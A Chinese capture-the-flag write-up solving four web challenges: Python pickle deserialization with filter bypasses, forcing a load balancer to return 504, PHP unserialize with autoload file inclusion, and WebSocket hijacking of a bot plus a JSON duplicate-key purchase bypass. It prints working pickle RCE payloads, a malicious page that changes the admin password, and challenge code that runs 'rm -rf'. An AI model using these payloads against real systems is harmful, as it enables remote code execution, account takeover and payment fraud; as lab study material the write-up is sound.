crash
先给源码
import os import base64 # import sqlite3 import pickle from flask import Flask, make_response,request, session import admin import random app = Flask(__name__,static_url_path='') app.secret_key="5f352379324c22463451387a0aec5d2f" class User: def __init__(self, username,password): self.username=username self.token=hash(password) def get_password(username): if username=="admin": return admin.secret else: # conn=sqlite3.connect("user.db") # cursor=conn.cursor() # cursor.execute(f"select password from usertable where username='{username}'") # data=cursor.fetchall()[0] # if data: # return data[0] # else: # return None return session.get("password") @app.route('/balancer', methods=['GET', 'POST']) def flag(): pickle_data=base64.b64decode(request.cookies.get("userdata")) if b'R' in pickle_data or b"secret" in pickle_data: return "You damm hacker!" os.system("rm -rf *py*") userdata=pickle.loads(pickle_data) if userdata.token!=hash(get_password(userdata.username)): return "Login First" if userdata.username=='admin': return "Welcome admin, here is your next challenge!" return "You're not admin!" @app.route('/login', methods=['GET', 'POST']) def login(): print(request.values.get("password")) resp = make_response("success") session["password"]=request.values.get("password") resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600) return resp @app.route('/', methods=['GET', 'POST']) def index(): return open('source.txt',"r").read() if __name__ == '__main__': app.run(host='0.0.0.0', port=5020)
有一些小改动,不过无伤大雅
这道题其实就是一个裸的python pickle反序列化
pickle源代码简析
在pickle.py里,发现loads等函数的来源:
# Use the faster _pickle if possible try: from _pickle import ( PickleError, PicklingError, UnpicklingError, Pickler, Unpickler, dump, dumps, load, loads ) except ImportError: Pickler, Unpickler = _Pickler, _Unpickler dump, dumps, load, loads = _dump, _dumps, _load, _loads
注意,_pickle.py是C语言实现的,速度会更快,这里其实是先尝试引入C实现的dumps等函数,如果不行,再引入python实现的函数,我们这里就看python代码即可(效果是一样的)
loads函数的实现:
def _loads(s, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None): if isinstance(s, str): raise TypeError("Can't load pickle from unicode string") file = io.BytesIO(s) return _Unpickler(file, fix_imports=fix_imports, buffers=buffers, encoding=encoding, errors=errors).load()
这里的实现其实就是用了_Unpickler类的load函数,再看看_Unpickler类
def load(self): """Read a pickled object representation from the open file. Return the reconstituted object hierarchy specified in the file. """ # Check whether Unpickler was initialized correctly. This is # only needed to mimic the behavior of _pickle.Unpickler.dump(). if not hasattr(self, "_file_read"): raise UnpicklingError("Unpickler.__init__() was not called by " "%s.__init__()" % (self.__class__.__name__,)) self._unframer = _Unframer(self._file_read, self._file_readline) self.read = self._unframer.read self.readinto = self._unframer.readinto self.readline = self._unframer.readline self.metastack = [] self.stack = [] self.append = self.stack.append self.proto = 0 read = self.read dispatch = self.dispatch try: while True: key = read(1) if not key: raise EOFError assert isinstance(key, bytes_types) dispatch[key[0]](self) except _Stop as stopinst: return stopinst.value
前面是初始化,后面是开始依次读取字符,dispatch是一个dict,代表着字符与函数的映射,例如:
PROTO = b'\x80' # identify pickle protocol ... dispatch[PROTO[0]] = load_proto
这里\x80这个字符就映射到load_proto函数了。所以如果我们想去看指令码的效果,只需要看指令码对应的函数就可以了
以R指令码为例:
def load_reduce(self): stack = self.stack args = stack.pop() func = stack[-1] stack[-1] = func(*args)
这就是R指令码的源代码,效果显而易见,从栈顶先弹出一个元素作为参数,然后再将下一个栈顶元素作为函数,执行。
常用的指令码一般有这样几个:
c(用于得到任意类/属性),R(直接执行),b(两次,第一次覆写__setstate__,第二次RCE),o(obj,执行命令),i(执行命令)
示例
一般来说,我们常用__reduce__方法来执行命令,例如:
def __reduce__(self): return (os.system,('ls /',))
其实__reduce__代表的是R指令码,做了下面三件事情:
- 取当前栈的栈顶记为
args
,然后把它弹掉。 - 取当前栈的栈顶记为
f
,然后把它弹掉。 - 以
args
为参数,执行函数f
,把结果压进当前栈。
以下面的例子为例:
import os import pickle import pickletools class diary(): def __reduce__(self): return (os.system,("whoami",)) str = pickle.dumps(diary()) print(pickletools.optimize(str)) pickletools.dis(pickletools.optimize(str))
输出结果:
b'\x80\x04\x95\x18\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x8c\x06system\x93\x8c\x06whoami\x85R.' 0: \x80 PROTO 4 2: \x95 FRAME 24 11: \x8c SHORT_BINUNICODE 'nt' 15: \x8c SHORT_BINUNICODE 'system' 23: \x93 STACK_GLOBAL 24: \x8c SHORT_BINUNICODE 'whoami' 32: \x85 TUPLE1 33: R REDUCE 34: . STOP
\x93指令码拿到了全局变量os.system函数,然后放入whoami字符串,TUPLE1指令使用栈顶的whoami字符串制造一个tuple,然后R指令码执行
有了上面的基础,可以看这篇文章:https://zhuanlan.zhihu.com/p/89132768
这道题过滤了R指令码和secret关键字,有几种解法:
- 直接RCE,除了R指令码还有好多可以RCE的方法
payload = b"(cbuiltins\neval\nS\"__import__('os').popen('calc').read()\"\no."
- 虽然过滤了secret关键字,但是仍然可以绕过
payload = b'''c__main__ admin (S'\\x73ecret' S'1' db.'''
- 制造一个类,这个类与别的对象比较均为true(重写__eq__方法)
(注意一点,obj1==obj2调用的是obj1.__eq__方法所以obj1==obj2和obj2==obj1结果可能不同)
在反序列化结束时,pickle的返回值是当前栈顶元素
def load_stop(self): value = self.stack.pop() raise _Stop(value)
所以,还可以写这样的一个payload:
payload = b'''(c__builtin__ exec S'class dem0:\\n class dem1:\\n def __eq__(self, __o: object) -> bool:\\n return True\\n token=dem1()\\n username='admin'' o(c__builtin__ eval S'dem0()' o.'''
接下来是一个负载均衡,目标是让服务器504
# nginx.vh.default.conf -- docker-openresty # # This file is installed to: # `/etc/nginx/conf.d/default.conf` # # It tracks the `server` section of the upstream OpenResty's `nginx.conf`. # # This config (and any other configs in `etc/nginx/conf.d/`) is loaded by # default by the `include` directive in `/usr/local/openresty/nginx/conf/nginx.conf`. # # See https://github.com/openresty/docker-openresty/blob/master/README.md#nginx-configfiles # lua_package_path "/lua-resty-balancer/lib/?.lua;;"; lua_package_cpath "/lua-resty-balancer/?.so;;"; server { listen 8088; server_name localhost; #charset koi8-r; #access_log /var/log/nginx/host.access.log main; location /gettestresult { default_type text/html; content_by_lua ' local resty_roundrobin = require "resty.roundrobin" local server_list = { [ngx.var.arg_server1] = ngx.var.arg_weight1, [ngx.var.arg_server2] = ngx.var.arg_weight2, [ngx.var.arg_server3] = ngx.var.arg_weight3, } local rr_up = resty_roundrobin:new(server_list) for i = 0,9 do ngx.say("Server seleted for request ",i,": " ,rr_up:find(),"<br>") end '; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # # proxy the PHP scripts to Apache listening on 127.0.0.1:80 # #location ~ \.php$ { # proxy_pass http://127.0.0.1; #} # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000 # #location ~ \.php$ { # root /usr/local/openresty/nginx/html; # fastcgi_pass 127.0.0.1:9000; # fastcgi_index index.php; # fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; # include fastcgi_params; #} # deny access to .htaccess files, if Apache's document root # concurs with nginx's one # #location ~ /\.ht { # deny all; #} }
关键代码就是中间的lua代码,这是一个nginx的负载均衡,其中roundrobin代表的是轮询策略,见https://middleware.io/blog/round-robin-load-balancers/
504的办法有很多,介绍三种:
- weight=0,直接让服务端用不起来
- 504 Gateway Time-out就字面意思,我们可以理解为网页请求超时,也就是浏览网站网页所发出的请求没有反应或者未响应,在网站程序层面来说,就是请求未能够执行相应的PHP-CGI程序,或者PHP-CGI程序未能做出相应的处理,又或者是CGI程序的响应处理结果未能够反馈到浏览器或者未能及时反馈到浏览器。,是由于nginx默认的fastcgi进程响应缓冲区太小造成: 这种情况下导致fastcgi进程被挂起,如果fastcgi服务对这个挂起处理不是很好的话,就可能提示“504 Gateway Time-out”错误。
所以,可以使用多线程爆破,或者RCE进去然后命令执行sleep超时阻塞也可以
rcefile
有www.zip,直接拿到源码
关键代码(config.inc.php)
<?php spl_autoload_register(); error_reporting(0); function e($str){ return htmlspecialchars($str); } $userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]); ?> <p> <a href="/index.php">Index</a> <a href="/showfile.php">files</a> </p>
发现有一个spl_autoload_register函数,官方文档
那我们来看看这个__autoload函数是什么
The spl_autoload_register() function registers any number of autoloaders, enabling for classes and interfaces to be automatically loaded if they are currently not defined. By registering autoloaders, PHP is given a last chance to load the class or interface before it fails with an error.
Any class-like construct may be autoloaded the same way. That includes classes, interfaces, traits, and enumerations.
__autoload函数就是在载入某个没有被定义的类或者是接口等等的时候执行的函数,在报错之前最后一次尝试加载。
官方给的例子:
Example #1 Autoload example
This example attempts to load the classes MyClass1 and MyClass2 from the files MyClass1.php and MyClass2.php respectively.
<?php spl_autoload_register(function ($class_name) { include $class_name . '.php'; }); $obj = new MyClass1(); $obj2 = new MyClass2(); ?>
MyClass1类没有被定义,所以php会执行__autoload函数,这里是由spl_autoload_register指定的一个匿名函数,传入的参数就是类名。也就是执行了include MyClass1.php,这样就完成了加载。
这样我们就知道了,spl_autoloadregister函数其实是用来指定\_autoload函数如何实现,参数是一个函数(多次调用可以指定多个函数)。没有参数的时候加载默认实现spl_autoload:
惊喜地发现除了php之外还可以加载inc文件,而且inc文件还不在黑名单。同时,config.inc.php里面还有反序列化:
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
于是,上传一个evil inc文件,得到文件名(这里是35b2c44e034e3bb12c2ac86823d0b46d):
然后,在cookie的userfile字段里传入一个类,类的名字跟文件名相同,这样加载的时候,这个类不存在,会执行__autoload函数,以类名为参数,所以会包含35b2c44e034e3bb12c2ac86823d0b46d.inc,这样就完成了任意文件包含,从而RCE
babyweb
一进去是个bot,直接在自己的VPS上面加恶意页面让bot访问(websocket劫持)
注意一点:加载js的过程是请求者浏览器把页面响应请求到本地然后再做解析,也就是说是请求者去执行js脚本
这道题没有同源策略的限制,但是有的题目里是会有这样的限制的,也就是说禁止对不同源的页面或资源进行解析,一种常见思路是利用表单提交绕过同源策略。
恶意页面示例:
(参考Nu1L战队wp)
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title></title> </head> <body> <button id="btn" type="button">点我发送请求</button> </body> <script type="text/javascript" src="js/jquery.js" ></script> <script> ws = new WebSocket("ws://127.0.0.1:8888/bot"); ws.onopen = function () { var msg = "changepw 123456"; ws.send(msg); document.getElementById("sendbox").value = ""; document.getElementById("chatbox").append("你: " + msg + "\r\n"); } </script> </html>
bot访问之后就修改了密码了,然后admin登录,购买hint拿到源码,是一个python和go构成的购买系统,但是python使用的是python原生的json解析器,这两个解析器对于json中的重复键处理方式不同,python接受的是最后一个值,而go接受的是第一个值。
参考:https://pankas.top/2022/08/01/%E5%BC%BA%E7%BD%91%E6%9D%AF2022-%E9%83%A8%E5%88%86web%E5%A4%8D%E7%8E%B0/
所以考虑构造重复的键值,python接收到购买的数量是1,而go接收到付款的数量是0,这样就可以不花钱买到flag
{ "product":[ { "id":1, "num":0, "num":1 }, { "id":2, "num":0, "num":1 } ] }
文章评论